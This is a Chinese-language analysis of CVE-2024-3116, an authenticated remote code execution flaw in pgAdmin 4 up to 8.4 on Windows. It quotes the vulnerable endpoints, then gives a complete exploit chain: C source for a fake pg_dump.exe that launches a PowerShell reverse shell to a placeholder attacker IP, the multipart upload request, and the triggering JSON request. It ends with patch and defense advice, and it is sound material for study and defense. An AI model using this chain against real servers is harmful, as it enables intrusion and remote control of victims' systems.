CVE-2024-3116 PgAdmin8.4代码执行漏洞
字数 1132 2025-08-23 18:31:34
CVE-2024-3116 PgAdmin 8.4 远程代码执行漏洞分析与利用
漏洞概述
CVE-2024-3116 是 pgAdmin 4 在 8.4 版本之前存在的一个远程代码执行漏洞。该漏洞允许已认证的攻击者在 Windows 平台上通过构造恶意请求在目标系统上执行任意代码。
受影响版本
- pgAdmin 4 8.4 及之前版本
- 仅影响 Windows 平台
漏洞原理
漏洞组件
漏洞主要涉及两个关键接口:
/validate_binary_path- 用于验证二进制文件路径/filemanager/<int:trans_id>/- 用于文件管理操作
漏洞触发流程
- 文件上传:攻击者通过
/filemanager接口上传恶意可执行文件 - 路径验证:攻击者调用
/validate_binary_path接口,指定上传的恶意文件路径 - 命令执行:系统尝试执行指定路径的文件并获取版本信息,导致恶意代码执行
关键代码分析
validate_binary_path 接口
@blueprint.route("/validate_binary_path",
endpoint="validate_binary_path",
methods=["POST"])
@login_required
def validate_binary_path():
data = None
if hasattr(request.data, 'decode'):
data = request.data.decode('utf-8')
if data != '':
data = json.loads(data)
version_str = ''
if 'utility_path' in data and data['utility_path'] is not None:
binary_versions = get_binary_path_versions(data['utility_path'])
for utility, version in binary_versions.items():
if version is None:
version_str += "<b>" + utility + ":</b> " + \
"not found on the specified binary path.<br/>"
else:
version_str += "<b>" + utility + ":</b> " + version + "<br/>"
else:
return precondition_required(gettext('Invalid binary path.'))
return make_json_response(data=gettext(version_str), status=200)
get_binary_path_versions 函数
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
def get_binary_path_versions(binary_path: str) -> dict:
ret = {}
binary_path = os.path.abspath(
replace_binary_path(binary_path)
)
for utility in UTILITIES_ARRAY:
ret[utility] = None
full_path = os.path.join(binary_path,
(utility if os.name != 'nt' else
(utility + '.exe')))
try:
if not os.path.isdir(binary_path):
current_app.logger.warning('Invalid binary path.')
raise Exception()
cmd = subprocess.run(
[full_path, '--version'],
shell=False,
capture_output=True,
text=True
)
if cmd.returncode == 0:
ret[utility] = cmd.stdout.split(") ", 1)[1].strip()
else:
raise Exception()
except Exception as _:
continue
return ret
文件上传接口
@blueprint.route(
"/filemanager/<int:trans_id>/",
methods=["POST"], endpoint='filemanager'
)
@login_required
def file_manager(trans_id):
# ...省略部分代码...
if req.method == 'POST':
if req.files:
mode = 'add'
kwargs = {'req': req,
'storage_folder': req.form.get('storage_folder', None)}
else:
kwargs = json.loads(req.data)
kwargs['req'] = req
mode = kwargs['mode']
del kwargs['mode']
# ...省略部分代码...
my_fm = Filemanager(trans_id, ss)
func = getattr(my_fm, mode)
res = func(**kwargs)
# ...省略部分代码...
文件上传 add 方法
def add(self, req=None):
if not self.validate_request('upload'):
return unauthorized(self.ERROR_NOT_ALLOWED['Error'])
if self.shared_dir:
the_dir = self.shared_dir
else:
the_dir = self.dir if self.dir is not None else ''
try:
path = req.form.get('currentpath')
file_obj = req.files['newfile']
file_name = file_obj.filename
orig_path = "{0}{1}".format(the_dir, path)
new_name = "{0}{1}".format(orig_path, file_name)
# ...省略部分代码...
with open(new_name, 'wb') as f:
while True:
data = file_obj.read(4194304)
if not data:
break
f.write(data)
except OSError as e:
return internal_server_error("{0} {1}".format(
gettext('There was an error adding the file:'), e.strerror))
Filemanager.check_access_permission(the_dir, path)
return {
'Path': path,
'Name': new_name,
}
漏洞利用条件
- 攻击者需要拥有有效的 pgAdmin 账户凭证
- 目标系统运行在 Windows 平台上
- pgAdmin 版本 ≤ 8.4
漏洞利用步骤
1. 准备恶意可执行文件
由于 UTILITIES_ARRAY 限制了可执行文件名,我们需要将恶意代码编译为以下名称之一的 exe 文件:
- pg_dump.exe
- pg_dumpall.exe
- pg_restore.exe
- psql.exe
以下是反弹 shell 的示例代码(C语言):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "--version") == 0) {
system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ip',port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
} else {
printf("Usage: %s --version\n", argv[0]);
}
return 0;
}
2. 上传恶意文件
使用 pgAdmin 的文件管理接口上传编译好的恶意可执行文件:
POST /filemanager/1/ HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="currentpath"
/uploads/
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="newfile"; filename="pg_dump.exe"
Content-Type: application/octet-stream
[恶意可执行文件内容]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
3. 触发命令执行
调用 /validate_binary_path 接口,指定上传的恶意文件路径:
POST /validate_binary_path HTTP/1.1
Host: target
Content-Type: application/json
{
"utility_path": "C:\\path\\to\\uploads"
}
漏洞修复
pgAdmin 在 8.5 版本中修复了此漏洞,主要修复措施包括:
- 添加
is_fixed_path参数增强路径验证 - 拒绝未授权的二进制文件路径
防御建议
- 升级 pgAdmin 到 8.5 或更高版本
- 限制 pgAdmin 的文件上传功能
- 对 pgAdmin 实施网络访问控制,仅允许可信用户访问
- 使用强密码策略保护 pgAdmin 账户
总结
CVE-2024-3116 是一个典型的认证后远程代码执行漏洞,其根本原因是 pgAdmin 在验证二进制路径时对用户输入的控制不足,结合文件上传功能导致攻击者可以上传并执行恶意代码。该漏洞利用需要攻击者拥有有效的账户凭证,且仅影响 Windows 平台。